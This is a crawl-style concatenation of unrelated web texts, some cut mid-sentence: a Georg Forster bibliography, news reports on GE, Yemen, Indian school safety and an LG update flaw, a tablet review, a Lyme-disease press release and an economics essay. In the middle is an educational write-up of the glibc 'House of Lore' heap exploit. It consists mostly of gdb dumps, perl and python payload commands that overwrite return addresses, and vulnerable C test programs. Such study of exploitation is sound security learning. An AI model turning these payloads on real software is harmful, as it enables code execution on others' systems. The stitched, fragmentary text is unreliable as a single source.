(three volumes, 1791–94) Georg Forsters Werke, Sämtliche Schriften, Tagebücher, Briefe, Deutsche Akademie der Wissenschaften zu Berlin, G. Steiner et al. Berlin: Akademie 1958
, Deutsche Akademie der Wissenschaften zu Berlin, G. Steiner et al. Berlin: Akademie 1958 Werke in vier Bänden, Gerhard Steiner (editor). Leipzig: Insel 1965. ASIN: B00307GDQ0
, Gerhard Steiner (editor). Leipzig: Insel 1965. ASIN: B00307GDQ0 Reise um die Welt, Gerhard Steiner (editor). Frankfurt am Main: Insel, 1983. ISBN 3-458-32457-7
, Gerhard Steiner (editor). Frankfurt am Main: Insel, 1983. ISBN 3-458-32457-7 Ansichten vom Niederrhein, Gerhard Steiner (editor). Frankfurt am Main: Insel, 1989. ISBN 3-458-32836-X
, Gerhard Steiner (editor). Frankfurt am Main: Insel, 1989. ISBN 3-458-32836-X Georg Forster, Briefe an Ernst Friedrich Hector Falcke. Neu aufgefundene Forsteriana aus der Gold- und Rosenkreuzerzeit, Michael Ewert, Hermann Schüttler (editors). Georg-Forster-Studien Beiheft 4. Kassel: Kassel University Press 2009. ISBN 978-3-89958-485-1
is used to indicate this person as the author when botanical name.[63] The standard author abbreviation is used to indicate this person as the author when citing
See also [ edit ]
References [ edit ]
Sources
Ackerknecht, Erwin H. (June 1955). "George Forster, Alexander von Humboldt, and Ethnology". Isis. University of Chicago Press on behalf of The History of Science Society. 46 (2): 83–95. doi:10.1086/348401. JSTOR 227120.
Saine, Thomas P. (1972). Georg Forster. New York, NY: Twayne Publishers. ISBN 0-8057-2316-1.
Reintjes, Heinrich (1953). Weltreise nach Deutschland (in German). Düsseldorf: Progress-Verlag.
This article is partly based on a translation of the German Wikipedia article Georg Forster.(Reuters) - General Electric Co (GE.N) said it would pay $1.7 billion to Japan’s Shinsei Bank Ltd (8303.T) to end exposure to claims related to the sale of its Japanese consumer loan business to the bank in 2008.
A GE logo is seen in a store in Santa Monica, California, October 11, 2010. REUTERS/Lucy Nicholson
GE said on Wednesday the deal would reduce fourth-quarter and 2013 earnings by $1 billion and earnings per share by 9 cents, noting that the settlement affected last year’s results because the agreement was reached before the company filed its annual financial statements.
Operating earnings remain unchanged and the agreement will not affect first-quarter or 2014 results, GE said.
GE reported a fourth-quarter net profit of $4.2 billion, or 41 cents per share. Adjusted profit was 53 cents per share.
Shinsei said the agreement was not expected to have any impact on its earnings.
GE sold its Japanese consumer finance business to Shinsei for $5.4 billion after the government passed a law cutting maximum interest rates and ordered lenders to repay charges on outstanding loans that were deemed to have breached the limit.
General Electric Capital Corp and Shinsei had agreed to a loss-sharing arrangement for potential claims on loans with interest rates of 20-29 percent, with a buyout option to end the obligation in the first quarter of 2014.
Daniel Holland, an analyst with Morningstar, said the Shinsei obligations had been a lingering issue for GE’s earnings.
“It’s good to finally get it cleaned up and done,” Holland said. “As investors, we didn’t really have the visibility of what the magnitude could be.”
GE is putting the Shinsei obligations behind it as it nears the expected initial public offering of GE Capital’s North American retail finance business, which is expected by the end of next month. The IPO is expected to be the first of a two-stage process, in which as much as 20 percent of the business could be offered this year.
GE shares rose about 0.2 percent to $25.32 in morning trading on the New York Stock Exchange, nearly in line with the increase in the broader U.S. markets.Government forces have clashed with fighters for control over the strategic southern port of Aden, Yemeni officials in the southern city say.
The officials said on Sunday that fighters believed to be close to al-Qaeda have refused to hand over the port to the government of President Abd-Rabbu Mansour Hadi.
At least one armed group is reportedly using the port to run lucrative smuggling operations.
On Thursday, a drive-by shooting in Aden killed Ahmed al-Idrisi, a senior leader of a pro-government group, just hours after he reluctantly agreed to hand over control of the port to government troops.
Security officials said Idrisi publicly backed the government, but maintained secret deals with armed groups and anti-government forces.
All officials spoke on condition of anonymity because they were not authorised to speak to reporters.
A loose alliance of Yemeni loyalists, backed by a coalition of mostly Arab countries assembled by Saudi Arabia, reclaimed control of Aden in July.
The Arab coalition launched an offensive against Yemen's Iran-allied Shia Houthi forces and their allies in March, when Hadi first fled Aden to the Saudi capital, Riyadh.
Although the war began with air strikes, the coalition went on to provide ground forces in the war.
Pro-government forces have set up a blockade of the capital, Sanaa, as Arab coalition forces continue to launch strikes against the Houthis and their allies.
Speaking to Al Jazeera from Riyadh on Sunday, Brigadier-General Ahmed Asiri, spokesman for the coalition, defended the resumption of air strikes.
He took issue with a UN report in December saying that more than 100 tonnes of aid was delivered to Taiz.
"The humanitarian organisation belonging to the UN signed an agreement and they took the money and sent the shipment," he said.
"But they did not get on the ground to distribute the aid, so it got to the Houthis and they used it to humiliate the people. So why did the UN not condemn this action which prevented people from obtaining food and medicine?"Gas leaks, elevated carbon monoxide levels, and broken fire alarms are among the hazards plaguing some schools run by the Bureau of Indian Education, a report by federal watchdogs found.
“It’s just not how we should be treating this vulnerable population,” said Melissa Emrey-Arras, a director of the Government Accountability Office who testified before Congress about the issue on Wednesday.
The Bureau of Indian Education oversees about 180 schools, including some boarding schools, in 23 states.
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The report noted some worrisome issues: In one school, seven boilers — four of which were located in a dormitory — failed inspections due to a variety of issues, including elevated levels of carbon monoxide and a gas leak. The school continued to use the boilers for eight months before repairing them because there was no backup system and nowhere else to house the students.
The GAO also noted that many problems may be undetected because 38 percent of Indian schools were not inspected in fiscal year 2015, up from 31 percent in 2012. Some schools have not been inspected since 2008.
As a result, “Indian Affairs cannot effectively determine the magnitude and severity of safety and health deficiencies at schools, and is, thus, unable to prioritize deficiencies that pose the greatest danger to students and staff,” the report concludes.
Of the inspections conducted, not all were of the same quality. One of the inspections was conducted by an individual who never left his car, Emrey-Arras said. “He never went into the 34 buildings at the location. And yet he did an inspection report, not surprisingly not finding anything on the interior that needed to be addressed,” she said.
The GAO made two major recommendations: Ensure that all schools undergo annual health and safety inspections, and make sure those inspections are high quality.
In a letter accompanying the report, Lawrence Roberts, acting assistant secretary for Indian Affairs, said department staff “generally” agree with the findings.
The Bureau of Indian Affairs was not immediately available for comment.Security researchers at Search-Lab have discovered a vulnerability that exists on most LG phones which can potentially allow an attacker to replace an application (apk file) with a malicious file that could lead to potentially disastrous consequences.
The vulnerability
Like most hardware and phone manufacturers, LG pre-installs custom applications on its phones which are otherwise not available for download on Google’s Play Store. Since they’re pre-loaded onto the phones, the devices contain a separate update method that fundamentally relies on a connection to a LG server. This is required to download a new code and then update applications through LG’s Update Center application.
In researching the Update Center application, Search-Lab security researchers discovered that:
The Update Center app, when looking for updates for custom LG apps contacts the server at lgcpm.com.
The updating of applications through the Update Center app occurs even when the security certificate presented by the server is not validated. This makes the device vulnerable to man-in-the-middle attacks.
The updates installed automatically by default, which means that the connection could be hijacked by attackers who can then discretely replace the application with a malicious one.
“Since new applications and/or application upgrades are installed through this channel in APK form without the need for any additional confirmation from the user, a malicious attacker can abuse the functionality to install arbitrary applications into the victim smart phones.”
“These applications might use any permission (except the ones requiring signature by system key), effectively circumventing Android’s own platform security,” noted Imre Rad, a security explorer at Search-Lab.
Newer LG phones are spared
Labelled CVE-2015-4110, the vulnerability was reported to LG who then notified Search-Lab that models including the flagship LG G4 among other phones released this year aren’t vulnerable.
However, almost all older models are vulnerable. Releasing a patch for LG’s update center isn’t an easy task since LG would have to then run quality assurance procedures for all of their phones which would mean that mobile carriers would also be required to check the update. All of the above is mandatory before the update is finally pushed toward users’ phones.
“Since smart phone vendors need approval of carriers for every single application update and in this case most of LG’s products are affected; LG made a business decision and they don’t provide the fix for most of their customers, at least ‘for the time being’,” said Rad.
In the meantime, LG users are strongly advised to manually disable the ‘automatic update’ feature in LG’s Update Center. Furthermore, the installation of new apps is only recommended when the phone is connected to trusted Wi-Fi spots.Remember Gimo the cat that we shared a few days ago? Of course you do! He’s impossible to forget once you’ve seen him. And if you haven’t yet been acquainted with this impossibly cute cat then take a look at the pictures below to see what all the fuzz (sorry) is about.
Whether he’s standing on his back legs, preparing to pounce from a secret location, casually sitting in a cardboard box or simply staring at you with his big moist hypnotic eyes, Gimo does everything with a level of cuteness that puts normal cats to shame. In fact, he could even teach classes on the art of being cute. But he’d have to teach them in the day because you just wouldn’t see him at night. Except for his eyes that is. Those big, round, mesmerizing eyes. Don’t look at them for too long. If you do you might never escape.
More info: Instagram (h/t: lovemeow)
VideoI had a really long day. I took my last final yesterday, but then found out that flight home was the next morning and the day after tomorrow like I thought, so I pulled an all nighter packing and cleaning the apartment before leaving for a long trip home for the holidays. I was about ready to crash when I got to my parent's house, except then they told me I'd received a giant mystery box from Amazon. I was like, "Huh... I don't remember ordering anything...?"
And then I opened it. Thoughts of sleep ENTIRELY GONE.
Excuse the potato quality photos! I was too excited to grab a real camera.
EDIT: WOAH I found another package. My SS apparently also got me "Vol #7 of Pokemon Diamond" because they're amazing at puns. I'll try to add a photo shortly, hahaha."T-Mobile USA remains an independent company. The acquisition is expected to be completed in approximately 12 months. We do not offer the iPhone. We offer cutting edge devices like the Samsung Galaxy S 4G and coming soon our new Sidekick 4G."
Never mind the practicalities of T-Mobile and AT&T using different 3G bands, Apple not having approved any deal for extended distribution of its phone, or the fact AT&T's acquisition of T-Mobile isn't set to complete for another year. The immediate reaction to AT&T agreeing to buy T-Mobile USA was to ask, "so that means the iPhone's coming to T-Mo, right?" Well, wrong. T-Mobile has delivered an FAQ on its site informing customers about the forthcoming transition, including the unequivocal notice regarding the iPhone:So that settles that (for a year, anyway). In other news, service and billing won't be changing, and there's a promise that T-Mobile devices will continue to operate as they do now even after the acquisition is complete. Ominously, however, the company fails to answer its own question about pricing changes, stating only that it'll honor "all contracted plans that are entered into before the change of ownership."Many of you have probably by now seen this video of a group of young girls dancing to Beyonce’s Single Ladies on the World of Dance tour. Huong L., Jeff S., and Dmitriy T.M. sent it in and asked us to comment on it. First, the video… which is stunning:
I think I’ve watched this a half dozen times and I’m mesmerized.
But to the analysis…
After the Single Ladies video came out there was a rash of parents uploading videos of their kids dancing along to the video. We featured a particularly impressive example of a preschool-aged girl dancing to the video and offered it as an example of how kids are active agents in their own socialization. You might also apply this idea to this video, sent in by Heather B. (which I am not going to comment on because I can’t figure out the context).
Certainly children do make choices about what to mimick. In a culture that highly sexualizes young girls, we shouldn’t be that surprised when they make choices that we find incongruent with (our beliefs about) childhood. The World of Dance routine, however, is not simply an example of children being active in their own socialization and responding to the powerful messages of self-objectification aimed at girls of all ages. In this case, many, many adults were instrumental in producing the product: their dance teacher(s), the choreographer, their parents, and the producers of the tour, to name the obvious. These girls are performing a highly sexualized routine because many adults chose to sexualize them.
For more examples of the sexualization of young girls, see our posts on sexually suggestive teen brands, adultifying children of color, “trucker girl” baby booties, “future trophy wife” kids’ tee, House of Dereón’s girls’ collection, “is modesty making a comeback?“, more sexualized clothes and toys, sexist kids’ tees, a trifecta of sexualizing girls, a zebra-striped string bikini for infants, a nipple tassle t-shirt, even more icky kids’ t-shirts, “are you tighter than a 5th grader?” t-shirt, the totally gross “I’m tight like spandex” girls’ t-shirt, and a Halloween costume post.
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Lisa Wade is a professor of sociology at Occidental College. You can follow her on Twitter and Facebook.Democratic candidate for president, Sen. Bernie Sander's (I-Vt.) campaign is surging, but does he even have a chance against Hillary Clinton? The Fix's Chris Cillizza explains. (Pamela Kirkland and Randolph Smith/The Washington Post)
Democratic presidential candidate Hillary Rodham Clinton technically beat Bernie Sanders by $2 million in the chase for campaign cash over the past three months. But that isn't the story — not even close.
Clinton held 58 fundraising events to raise her total; Sanders held seven. As of the end of September, Sanders had brought in 1.3 million total donations from 650,000 individuals since he began running. Clinton's campaign did not release how many total donors she has. And Sanders ended September with $25 million in the bank; Clinton did not release how much money her campaign had on hand.
Read between the lines, and you get this: Sanders is drawing huge amounts of small-dollar donations via the Web. That means two important things: (1) Sanders has been able to concentrate on meeting and greeting potential voters rather than spending his time courting donors, and (2) He has been able to conserve money because he isn't spending cash on lavish events for donors.
Sanders fundraising is remarkable. The # to keep an eye on now is cash on hand. Very possible he has more than HRC. https://t.co/4UxdsLmMda — David Axelrod (@davidaxelrod) October 1, 2015
Money is, of course, a sign of broader trends in the race as well. Sanders is the grass-roots candidate who is appealing to the heart of the party base; Clinton is the lead candidate, accruing donations — at least in part — out of a sense that, in the end, she will be the nominee. Hence, lots of people are sending small-dollar donations to Sanders while Clinton holds more traditional fundraising events to collect cash from the usual suspects.
[How Bernie Sanders would transform the nation]
That story line is — as you might have guessed — not a good one for Clinton. It reinforces everything that people already believe about the dynamics of the contest — that Sanders is the energy candidate who is speaking the language of the base and that Clinton continues to struggle to inspire that sort of devotion and passion.
Then, of course, there is the simple fact that if I told you six months ago that Sanders would (1) raise $25 million in a single fundraising quarter and (2) would come within a few million dollars of Clinton, you would not have believed me. |
x00000000 0x00000000 0xbffff388 0x00743fc0 0xbffff348: 0x00251340 0x00182a20 0x00000000 0x00000000 0xbffff358: 0xbffff388 0x08048d1e 0x0804ffe8 0xbffff5d7 0xbffff368: 0x0804c0b0 0xbffff388 0x0013f345 0x08050088 EBP -> 0xBFFFF358 RET -> 0xBFFFF35C
He said he chose 0xBFFFF33C for the overwriting process, but, in my opinion, this makes no sense, as, using that value, means that:
During the first malloc() call inside func1, bck points at 0xBFFFF348 When trying to access to bck->fd, it will fail, as it’s likely that 0x00251340 (the content of 0xBFFFF348) is not a valid memory address
So, I think he either meant to write 0xBFFFF34C or he reported a wrong stack layout. Let’s say that the stack dump is OK and that 0xBFFFF34C will be used: during the first call bck will point at 0xBFFFF358 and, when trying to access to bck->fd, everything will work fine, as 0xBFFFF390 (0xBFFFF388 + 8) is writable.
When the second malloc() request is performed, victim will be equal to 0xBFFFF34C and victim->bk to 0xBFFFF388 (an address with valid write permissions). At the end, the allocator will return 0xBFFFF354 (8 bytes before the return address in the stack).
The values I computed and blackngel’s ones differ by 0x00000010. I really hope I got this one right.
So, what’s left is the computation of the new return address, which, in blackngel’s own scenario, happened to be at 0x08048BA4
When he put everything’s together, what he got is (I slightly adapted his output):
black@odisea:~$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' > evil.in... (gdb) run `perl -e 'print "A"x28. "\x4c\xf3\xff\xbf"'` < evil.in Buff1 -> [ 0x804ffe8 ] Buff2 -> [ 0x8050000 ] Buff3 -> [ 0x8050088 ] Buff4 -> [ 0x8050190 ] LB1 -> [ 0x8050000 ] LB2 -> [ 0xbffff344 ] Which is your favourite hobby? This is an evil function. You become a cool hacker if you are able to execute it. Program received signal SIGSEGV, Segmentation fault. 0x08048bb7 in evil_func () (gdb)
In 2009, this vulnerability was patched with this commit, which checks the usual consistency between the pointers of the list. At this point, blackngel gives a great hint:
This check can still be overcome if you control an area into the stack and you can write an integer such that its value is equal to the address of the recently free chunk (victim). This must happen before the next call to malloc( ) with the same size requested.
I tried to do this, but I found out that it’s not the only thing required: in fact you need to be able to control three integer values inside the func1 stack frame. However, yes, with this additional requirement, it’s possible to have the House of Lore even with glibc 2.20. What I did is to modify the func1 in the following way:
void func1() { char *lb1, *lb2; unsigned int a = 0xAAAAAAAA; unsigned int b = 0xBBBBBBBB; unsigned int c = 0xCCCCCCCC; lb1 = (char *) malloc(128); printf("LB1 -> [ %p ]", lb1); lb2 = (char *) malloc(128); printf("
LB2 -> [ %p ]", lb2); strcpy(lb1, "Which is your favourite hobby? "); printf("
%s", lb1); fgets(lb2, 128, stdin); }
Yes, I know that manually setting the values inside the code itself is not a clean way of doing things, but I didn’t want to waste too much time by writing fgets and conversions from ASCII to integers. The concept still stays.
The first thing to do is to overwrite victim‘s bk pointer in such a way that bck‘s fd value is located where a is. In order to do this, we need a layout of func1‘s stack.
(gdb) x/20x 0xffffcf30 0xffffcf30: 0xf7e5d000 0x00000000 0x0804860c 0x00000080 0xffffcf40: 0xaaaaaaaa 0xbbbbbbbb 0xcccccccc 0x00000000 0xffffcf50: 0x0804874b 0xffffcf68 0x08048753 0x0804bfe8 0xffffcf60: 0x0804c000 0x0804c088 0x00000000 0xf7cdd943 0xffffcf70: 0x00000002 0xffffd004 0xffffd010 0xf7feb05e RET -> 0xFFFFCF58
In order to have bck‘s fd field located at 0xFFFFCF40 we need to overwrite victim‘s bk with 0xFFFFCF38.
$./hol `python -c 'import sys; sys.stdout.write("AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x38\xCF\xFF\xFF")'` Buff1 -> [ 0x804bfe8 ] Buff2 -> [ 0x804c000 ] Buff3 -> [ 0x804c088 ] Buff4 -> [ 0x804c190 ] *** Error in `./hol': malloc(): smallbin double linked list corrupted: 0x0804c000 ***
In order to pass the check, the a variable must be set to 0x0804C000’s chunk: 0x0804BFF8. This will make the first malloc() call to correctly return the old buff2‘s address. When the malloc() is called again, this check will be performed again and we need to handle this situation. In this new scenario, victim will be set at 0xFFFFCF38 and its bk will be, of course, located where b is stored. This variable must store the address of a fake chunk in such a way that its fd field lies on c: 0xFFFFCF40. Of course, c must be set as well to the same value of the victim: 0xFFFFCF38.
The updated code will look like:
void func1() { char *lb1, *lb2; unsigned int a = 0x0804BFF8; unsigned int b = 0xFFFFCF40; unsigned int c = 0xFFFFCF38; [...]
Trying to run this one, will result into a correct allocation of both lb1 and lb2: the latter points, on my machine, at 0xFFFFCF40. As the address of evil_func is 0x080485D5, the payload can be generated with the following command:
python -c 'import sys; sys.stdout.write("B" * 24 + "\xD5\x85\x04\x08")' > payload
Putting this altogether and running it, gives the expected result:
$./hol `python -c 'import sys; sys.stdout.write("AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x38\xCF\xFF\xFF")'` < payload Buff1 -> [ 0x804bfe8 ] Buff2 -> [ 0x804c000 ] Buff3 -> [ 0x804c088 ] Buff4 -> [ 0x804c190 ] LB1 -> [ 0x804c000 ] LB2 -> [ 0xffffcf40 ] Which is your favourite hobby? This is an evil function. You become a cool hacker if you are able to execute it. Segmentation fault
Mission accomplished. Useless to say that ASLR was disabled during this exploitation.
It’s time to give a look at the alternative recipe for this attack:
Largebin Corruption
Ingredients:
Two chunks are allocated and the first one is overflowable
The second chunk is freed
Another (potentially more) chunk, bigger than the second one, is allocated
A new chunk smaller than the second one is allocated
Another chunk with the same previous size is allocated
The idea here is the same: corrupting the bk value of the freed chunk. The code involved into this corruption starts at line #3912:
/* Process recently freed or remaindered chunks, taking one only if it is exact fit, or, if this a small request, the chunk is remainder from the most recent non-exact fit. Place other traversed chunks in bins. Note that this step is the only place in any routine where chunks are placed in bins. The outer loop here is needed because we might not realize until near the end of malloc that we should have consolidated, so must do so and retry. This happens at most once, and only when we would otherwise need to expand memory to service a "small" request. */ for(;;) { while ( (victim = unsorted_chunks(av)->bk)!= unsorted_chunks(av)) { [...] } /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. This is the only step where an unbounded number of chunks might be scanned without doing anything useful with them. However the lists tend to be short. */ if (!in_smallbin_range(nb)) { bin = bin_at(av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = last(bin))!= bin && (unsigned long)(first(bin)->size) >= (unsigned long)(nb)) { while (((unsigned long)(size = chunksize(victim)) < (unsigned long)(nb))) victim = victim->bk; remainder_size = size - nb; unlink(victim, bck, fwd); [...] } } /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; bin = bin_at(av,idx); [...] for (;;) { [...] /* Inspect the bin. It is likely to be non-empty */ victim = last(bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { [...] } else { size = chunksize(victim); /* We know the first chunk in this bin is big enough to use. */ assert((unsigned long)(size) >= (unsigned long)(nb)); remainder_size = size - nb; /* unlink */ bck = victim->bk; bin->bk = bck; bck->fd = bin; /* Exhaust */ if (remainder_size < MINSIZE) { [...] return chunk2mem(victim); } /* Split */ else { [...] set_foot(remainder, remainder_size); check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } } } [...] }
The first thing to keep in mind is that, reaching this code, requires to perform an allocation request for more than 512 bytes (otherwise, smallbins will be used).
If the initial while loop is correctly passed, it means that the freed chunk has been put in its largebin. This step can be obtained by allocating, as in the smallbin scenario, a bigger chunk after freeing the second chunk.
Requesting an allocation of the same size of the freed chunk would trigger a block of code searching the corresponding bin for a chunk, returning the overflowed chunk. Anyway, this piece of could would use the unlink() macro to remove this chunk from the bin, ruining everything. This means that a smaller request must be performed, or, as Phantasmal Phantasmagoria said, “512 < M < N”, where N is the size of the freed chunk and M is the request we’re talking about now. If no chunks are found fitting the request of size M, malloc() will iterate through the bins until a fulfilling one is found.
The victim chunk will be, as usual, the last one of the bin and, in our case, it’ll be the overflowed chunk. But this code really resembles the smallbin’s one. And it actually does: the chunk is unlinked from the list without using the macro. The only difference is that set_foot call, as it tends to go segmentation faulting when exploiting this vulnerability without taking the right precautions. In fact, remainder_size is computed from victim->size, which is filled with random data if using the smallbin’s exploit. If the application allows to insert 0x00 bytes, then it would be possible to provide a correct value (remainder_size must be less than MINSIZE) in the attack string and the segmentation fault would be avoided.
blackngel’s rewrote his application example in order to match these new requirements:
#include <stdlib.h> #include <stdio.h> #include <string.h> void evil_func(void) { printf("
This is an evil function. You become a cool hacker if you are able to execute it
"); } void func1(void) { char *lb1, *lb2; lb1 = (char *) malloc(1536); printf("
LB1 -> [ %p ]", lb1); lb2 = malloc(1536); printf("
LB2 -> [ %p ]", lb2); strcpy(lb1, "Which is your favourite hobby: "); printf("
%s", lb1); fgets(lb2, 128, stdin); } int main(int argc, char *argv[]) { char *buff1, *buff2, *buff3; malloc(4096); buff1 = (char *) malloc(1024); printf("
Buff1 -> [ %p ]", buff1); buff2 = (char *) malloc(2048); printf("
Buff2 -> [ %p ]", buff2); buff3 = (char *) malloc(4096); printf("
Buff3 -> [ %p ]
", buff3); free(buff2); printf("
Buff4 -> [ %p ]", malloc(4096)); strcpy(buff1, argv[1]); func1(); return 0; }
As you can see, the code is more or less the same: just the allocation requests changed. He just had to cheat a little bit for the 0x00 bytes insertion with gdb. Anyway, adjusting the code a little bit could allow to input those particular bytes.
However, this corruption approach didn’t last too much and a patch for glibc was provided in version 2.6: the unlink macro is now used also in this branch.
This is all I had to say about the House of Lore. Quite interesting, I’d say, even if only the smallbin version is still exploitable. However, the number of requirements in order to perform this kind of attack is pretty high, and I don’t know how many scenarios could actually fall in this category.
See you next time with the last house…
AdvertisementsThere is no flagship model of the Galaxy Tab S2.
That’s what a Samsung representative told us yesterday after unveiling one of the lightest tablets I’ve ever held in my hands. Both the 8-inch and 9.7-inch models of the Tab S2 are equally important to Samsung, and at first glance, you can see why: they’re sleek, they’re thin and they’re vibrant.
DON’T MISS: Galaxy Note 5 ‘Penghazi’ – what really happens when you insert the S Pen the wrong way?
The 9.7-inch model that I left with is not only a fantastic looking device with its 2048 x 1536 Super AMOLED display, it’s also the most powerful tablet that Samsung has ever built. By including the Exynos 5433 processor, which you might recognize from the Note 4, Samsung was certain that it could solve the biggest issue with the Tab S: speed.
Samsung says that the sluggishness of the previous tablet was by far the biggest complaint from consumers. By switching over to a processor fit for a flagship smartphone, Samsung is now able to emphasize multitasking without worrying about the tablet getting bogged down. If you want to open five apps, shrink them all down to windows and move them around the screen, you can.
I was also delighted to learn that the 32GB model of both the 8-inch and 9.7-inch tablet will be the standard. In fact, the only way to get a 64GB model is through Best Buy, but the good news is that Samsung has heard the cries of Galaxy S6 and Galaxy Note 5 owners and will allow expandable storage up to 128GB.
There’s also an 8-megapixel rear camera that takes perfectly adequate photos and a 2.1-megapixel camera on the front for the lunatics who want to take selfies with a tablet. Rounding out the specs are 3GB of RAM, a 5870 mAh battery and a fingerprint sensor, which I have to admit feels a little more responsive than the Touch ID on my iPad Air 2.
Weighing in at an astounding 389g, the 9.7-inch Wi-Fi model is noticeably lighter than the iPad Air 2 as well. Having spent countless hours with the Air 2, I can saw that a few dozens grams would make a huge difference when trying to hold up the tablet to read a book or browse the Internet.
I haven’t had much time to test all of the multitasking features and the TV connectivity yet, but as a picky tablet user lacking many positive things to say about a majority of the Android tablets I’ve tested, I’m finding a lot to like.
Samsung’s Galaxy Tab S2 will be available to purchase in the U.S. on September 3rd. The 8-inch Wi-Fi model will cost $399.99, the 9.7-inch Wi-Fi model will cost $499.99, the 9.7-inch LTE model will cost $599.99 and Best Buy’s exclusive 64GB 9.7-inch Wi-Fi model will also cost $599.99.View in Your Web Browser (703) 821-8833 P.O. Box 8211, McLean, VA 22106-8211 • Phone & Fax 703-821-8833 • [email protected] Contact: Monte L. Skall FOR IMMEDIATE RELEASE
Telephone: 703-821-8833
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Website: www.natcaplyme.org Virginia Senate Passes Landmark Lyme Disease Bill NatCapLyme Urges the House of Delegates to Follow Suit (McLean, VA) – February 11, 2016 - The National Capital Lyme Disease Association (NatCapLyme) today announced that the Virginia Senate passed landmark legislation relating to a patient’s right to treatment under guidelines listed in the National Guidelines Clearinghouse (the “NGC”). Lyme can be tremendously debilitating, leading to loss of livelihood and even normal daily functioning. Lyme patients are desperate for treatment options. Increasingly, however, Virginia doctors are refusing new patients who present with the symptoms of Lyme or other tick-borne diseases. Where it appears that a patient may require extended antibiotic treatment beyond the standard 28 days, many Virginia doctors believe that reporting and treating these cases can lead to sanctions from the Virginia Board of Medicine. Understandably, physicians do not want to risk exposure to such sanctions, despite the fact that extended treatment is suggested under at least one NGC published guideline. SB-671 provides that when a patient chooses to accept treatment in accordance with a clinical practice guideline maintained by the NGC, a health care provider will not be subject to health regulatory board investigations or hearings based solely on the decision to follow such clinical practice guideline. The NGC is an initiative of the U.S. Department of Health and Human Services, in partnership with the American Medical Association and the American Association of Health Plans. Housed in the Agency for Healthcare Research and Quality, its mission is to provide health professionals with objective information on clinical practice guidelines and to further the dissemination and use of such guidelines. The purpose of this legislation is simply to ensure that - when expert criteria published by the NGC have been sufficiently met - medical practice in accordance with that guideline should not, alone, lead to physician discipline. “Lyme disease has reached epidemic proportions in Virginia,” says NatCapLyme Executive Director Monte Skall. “Many Virginians with Lyme disease cannot get the medical assistance they need to adequately deal with the disease. We thank Senator Dick Black (R-13) for introducing this bill and shepherding it through the Senate. Additionally, we are extremely grateful to Senator Bryce Reeves (R-17) for his support and compelling floor speech. We also want to thank all the Virginia Lyme disease sufferers and their families for their support and assistance in bringing their stories to their senators to help get this bill passed. Now, it’s on to the Virginia House of Delegates. The job is not done!” The National Capital Lyme Disease Association is an organization with over 3,000 members, including fifteen chapters throughout the District of Columbia, Virginia, Maryland, and North Carolina. Its mission is to improve the quality of life for people suffering from Lyme and other tick-borne illnesses by offering support and disseminating information that educates and empowers patients, families, healthcare workers, and the community at large about these diseases. The U.S. Centers for Disease Control (the “CDC”) considers Lyme disease to be the fastest spreading tick-borne disease in the U.S. with an estimated 329,000 new cases each year. Just this week, scientists discovered a second bacterium that causes Lyme disease, named Borrelia mayonii. The latest CDC statistics also report that Virginia is among the top-10 Lyme disease states. Below is a record of yesterday’s Virginia Senate vote: YEAS--Alexander, Black, Carrico, Chafin, Chase, Cosgrove, Dance, DeSteph, Edwards, Garrett, Hanger, Howell, Marsden, McPike, Newman, Obenshain, Reeves, Ruff, Stuart, Sturtevant, Surovell, Vogel, Wagner, Wexton--24. NAYS--Barker, Deeds, Dunnavant, Ebbin, Favola, Lewis, Locke, Lucas, McDougle, McEachin, Miller, Norment, Petersen, Saslaw, Suetterlein--15. NOT VOTING--Stanley--1. # # # For more information about Lyme disease or this bill, please contact Monte Skall at 703-821-8822 or visit the NatCapLyme website at http://www.natcaplyme.org/, Facebook and Twitter at NatCapLyme. Help Us Fight The Bite About Us
The National Capital Lyme and Tick-Borne Disease Association is an all-volunteer non-profit organization dedicated to raising awareness, supporting research, and promoting advocacy to find a cure for Lyme and other tick-borne diseases. NatCapLyme strives to improve the quality of life for people suffering from tick-borne illnesses through education, prevention, timely diagnosis, and proper treatment. We advance our goals through teamwork and collaboration with other patient and professional groups throughout the country. We seek to regain our health and conquer these diseases. We are inclusive and seek participation from all those interested in working toward this goal. Tweet NatCapLyme • P.O. Box 8211 • McLean, VA, 22106
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UNLESS you DELETE the Manage Your Subscription Link in the Footer; Or, send the URL in this link: SEND THIS LINKContribution to The Other Canon Conference on Production Capitalism vs. Financial Capitalism
Oslo, September 3-4, 1998.
Our economy is evolving into something different from what most people imagine it to be. The emerging system bears little relation to what academic textbooks describe, to say nothing of what politicians are promising.
Today’s problems also are different from those which Marxists and other critics have long denounced. True, the class war has been put back in business since the collapse of Soviet Communism. But industrial capital as well as labor has come under attack in an internecine war of finance capital against industrial capital, and even against the power of governments to retain control over national economies.
Was Marx too optimistic?
In the face of this new form of economic warfare, capitalism’s foundations are proving to be weaker than Marx had believed. One almost might wish nostalgically that the system still held the promise that it possessed for Marx and his Victorian contemporaries.
From the time socialists coined the term ‘capitalism’ in the mid-19th century, the word has been used mainly as an invective. Yet to Marx it signified the historical stage preceding socialism – a stage that promised to lead almost automatically to a better world. Capitalism’s historical role was to prepare the world for socialism by integrating the world’s national economies into a single market, whose business corporations would grow so large in scale as to constitute virtual planning. All that would be left for socialism to accomplish would be to take over a finely attuned industrial system and mobilize its economic surpluses to uplift humanity at large.
Stage-of-development theories are inherently optimistic in the sense that the next evolutionary step seems to be imprinted embryonically on society’s (indeed, civilization’s) DNA molecule. Marx even endorsed free trade on the ground that it would speed up this evolutionary process. An enemy of bureaucracy, he saw the governments of his day dominated by landed aristocracies, militarized nobilities or colonial satrapies. Their tendency was to act as reactionary impediments to the economic organism trying to evolve forward, prone as they were to special interest pleading by the vested interests that retained political control over the fiscal and lawmaking processes.
